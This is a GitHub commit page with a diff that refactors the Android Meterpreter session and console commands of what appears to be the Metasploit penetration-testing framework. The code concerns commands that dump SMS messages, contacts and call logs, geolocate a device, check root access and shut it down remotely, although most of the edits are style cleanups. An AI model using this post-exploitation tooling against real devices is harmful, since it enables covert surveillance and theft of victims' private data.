Skip to content

Commit

Permalink
Merge pull request #5 from jvennix-r7/android_ext3
Browse files Browse the repository at this point in the history
Final-round of code tweaks. All commands working well.
  • Loading branch information
AnwarMohamed committed Aug 9, 2014
2 parents 8766faa + dbaa377 commit 9243250
Show file tree
Hide file tree
Showing 3 changed files with 15 additions and 25 deletions.
8 changes: 2 additions & 6 deletions lib/msf/base/sessions/meterpreter_android.rb
Original file line number Diff line number Diff line change
Expand Up @@ -14,22 +14,18 @@ module Sessions
###
class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java

def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.platform = 'java/android'
end

def load_android
original = console.disable_output
console.disable_output = true
console.run_single('load android')
console.disable_output = original
end

end

end
Expand Down
2 changes: 1 addition & 1 deletion lib/msf/base/sessions/meterpreter_options.rb
Original file line number Diff line number Diff line change
Expand Up @@ -60,7 +60,7 @@ def on_session(session)
end

if session.platform =~ /android/i
if (datastore['AutoLoadAndroid'])
if datastore['AutoLoadAndroid']
session.load_android
end
end
Expand Down
30 changes: 12 additions & 18 deletions lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb
Original file line number Diff line number Diff line change
Expand Up @@ -15,10 +15,6 @@ module Ui
class Console::CommandDispatcher::Android
include Console::CommandDispatcher
include Msf::Auxiliary::Report

def framework
client.framework
end

#
# List of supported commands.
Expand All @@ -35,18 +31,17 @@ def commands

reqs = {
'dump_sms' => [ 'dump_sms' ],
'dump_contacts' => [ 'dump_contacts'],
'geolocate' => [ 'geolocate'],
'dump_calllog' => [ 'dump_calllog'],
'check_root' => [ 'check_root'],
'dump_contacts' => [ 'dump_contacts' ],
'geolocate' => [ 'geolocate' ],
'dump_calllog' => [ 'dump_calllog' ],
'check_root' => [ 'check_root' ],
'device_shutdown' => [ 'device_shutdown']
}

# Ensure any requirements of the command are met
all.delete_if do |cmd, desc|
reqs[cmd].any? { |req| not client.commands.include?(req) }
end

all
end

def cmd_device_shutdown(*args)
Expand All @@ -55,7 +50,7 @@ def cmd_device_shutdown(*args)
device_shutdown_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-t' => [ false, 'Shutdown after n seconds']
)
)

device_shutdown_opts.parse(args) { | opt, idx, val |
case opt
Expand Down Expand Up @@ -98,15 +93,15 @@ def cmd_dump_sms(*args)
end
}

smsList = Array.new
smsList = []
smsList = client.android.dump_sms

if smsList.count > 0
print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}")
begin
info = client.sys.config.sysinfo

data = String::new
data = ""
data << "\n=====================\n"
data << "[+] Sms messages dump\n"
data << "=====================\n\n"
Expand Down Expand Up @@ -191,15 +186,15 @@ def cmd_dump_contacts(*args)
end
}

contactList = Array.new
contactList = []
contactList = client.android.dump_contacts

if contactList.count > 0
print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list")
begin
info = client.sys.config.sysinfo

data = String::new
data = ""
data << "\n======================\n"
data << "[+] Contacts list dump\n"
data << "======================\n\n"
Expand Down Expand Up @@ -273,7 +268,6 @@ def cmd_geolocate(*args)
print_line("\tLongitude: #{geo[0]['long']}\n")
print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}&sensor=true\n")


if generate_map
link = "https://maps.google.com/maps?q=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}"
print_status("Generated map on google-maps:")
Expand Down Expand Up @@ -312,7 +306,7 @@ def cmd_dump_calllog(*args)
begin
info = client.sys.config.sysinfo

data = String::new
data = ""
data << "\n=================\n"
data << "[+] Call log dump\n"
data << "=================\n\n"
Expand Down Expand Up @@ -368,7 +362,7 @@ def cmd_check_root(*args)
is_rooted = client.android.check_root

if is_rooted
print_status('Device is rooted')
print_good('Device is rooted')
elsif
print_status('Device is not rooted')
end
Expand Down

0 comments on commit 9243250

Please sign in to comment.